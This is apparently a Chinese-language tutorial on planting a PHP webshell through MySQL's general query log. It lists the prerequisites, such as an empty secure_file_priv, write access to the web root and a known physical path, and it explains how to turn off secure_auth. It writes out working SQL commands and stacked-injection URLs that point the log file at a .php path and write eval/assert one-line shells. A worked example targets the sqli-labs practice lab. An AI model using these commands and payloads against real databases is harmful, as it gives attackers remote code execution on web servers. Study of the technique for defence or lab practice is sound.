mysql日志写马
条件
1.全局变量general_log为ON。
mysql有两个全局变量:general_log指的是日志保存状态,值为ON/OFF,general_log_file指的是日志的保存路径。
只有当general_log为ON时,日志才会被记录进去,所以我们要先打开这个全局变量,使用命令查看全局变量状态‘
show global variables like "%general_log%";
使用命令打开
set global general_log='on';
打开之后,日志文件中就会记录我们写的sql语句(不论sql语句是否正确都会记录进去)
我们可以通过命令
set global general_log_file=''
来设置日志文件地址(其中路径里的\用\\或者/代替,因为\的话会消失一个)
2.需要secure_file_priv为空
即secure_file_priv="";或者secure_file_priv 为 general_log_file ⽇志的保存路径的磁盘。如果 secure_file_priv 固 定为G:\,⽽⽹站是搭在F盘上,那把 general_log_file 修改为G盘下的⽂件也连接不到,除非还有⽂件包含漏洞等等。
使用命令查看可以写入的文件
show global variables like '%secure%';
当secure_file_priv为空,就可以写⼊磁盘的⽬录。
当secure_file_priv为G:\,就可以写⼊G盘的⽂件。
当secure_file_priv为null,into outfile就不能写⼊⽂件。(注意NULL不是我们要的 空,NULL和空的类型不⼀样)
secure_file_priv=""就是可以into outfile写⼊任意磁盘⽂件。 secure_file_priv设置通过设置my.ini来配置,不能通过SQL语⾔来修改,因为它是只读变量.
若secure_auth为ON,则⽤以下命令变为OFF(mysql查询默认是不区分⼤⼩写的)
set global secure_auth="off";
secure_file_priv不能通过此⽅法修改,因为报错为Variable 'XXX' is a read only variable。 报错原因及修改⽅法为: 参 数 为 只 读 参 数 , 需 要 在 mysql.ini 配 置 ⽂ 件 中 更 改 该 参 数 , 之 后 重 启 数 据 库
3.对web⽬录有写权限
MS的系统就不说了,⼀般都会有权限的,但是linux的系统,通常都是rwxr-xr-x,也就是说组跟其他⽤户都没有权限写操作。
4.知道物理路径(into outfile '物理路径'),
这样才能写对⽬录。 使用命令
select @@basedir;
5.对⽅没有对 ' 和 " 进⾏过滤,因为outfile后⾯的物理路径必须要有引号
方法
1.直接登录进别⼈的数据库的时候
set global general_log_file='...php';select '<?php assert($_POST[v]);?>';
2.使用堆叠注入:
set global general_log_file='...php';?id=1;select '<?php assert($_POST[v]);?>';
或者直接?id=<?php assert($_POST[v]);?>;
因为sql语句不管对错⽇志都会记录
不过前提堆叠注⼊的条件,源码中必须要⽤到 mysqli_multi_query() 函数,此处才可以执⾏多个sql语句进⾏注⼊。⼀般后台查询数据库使⽤的语句都是⽤mysql_query() 函数,所以堆叠注⼊在mysql上并不常⻅。 mysqli_multi_query() 可以执⾏多 个sql语句,⽽ mysqli_query() 只能执⾏⼀个sql语句。 因此堆叠注⼊的局限性在于并不是每⼀个环境下都可以执⾏,可能受到API或者数据库引擎不支持的限制。
(union注入在这行不通 。 因 为要日志写马能 够 连 接 必 须 要 修 改 general_log_file 为⽐如 php 后缀的⽂件,不然⻢不能被解析。所以必须要先⽤到 set global general_log_file=',那么union注⼊就没机会了,union基本都是 ? id=1 union select 1,2,select ''; 这样,不能执⾏ set 的)
示例
这里以sql-lab靶场为例
1先设置 general_log 为on
http://localhost/sqli-labs/Less-38/?id=-1' union select 1,2,3;set global general_log='on';--+
2再设置 general_log_file 为⼀个php后缀⽂件:
localhost/sqli-labs/Less-38/?id=-1' union select 1,2,3;set global general_log_file='F:\\phpstudy\\phpstudy_pro\\www\\1.php';--+
查询发现修改成功
3写入木马
http://localhost/sqli-labs/Less-38/?id=1';select '<?php eval($_POST[cmd]);?>';--+
4最 后 可 以 ⽤工具连接
直接成功登录数据库的⽇志写⻢可以说是方法和堆叠注入的差不多,就是可以⽤ show 来看全局变量的值。这⾥就不赘述了。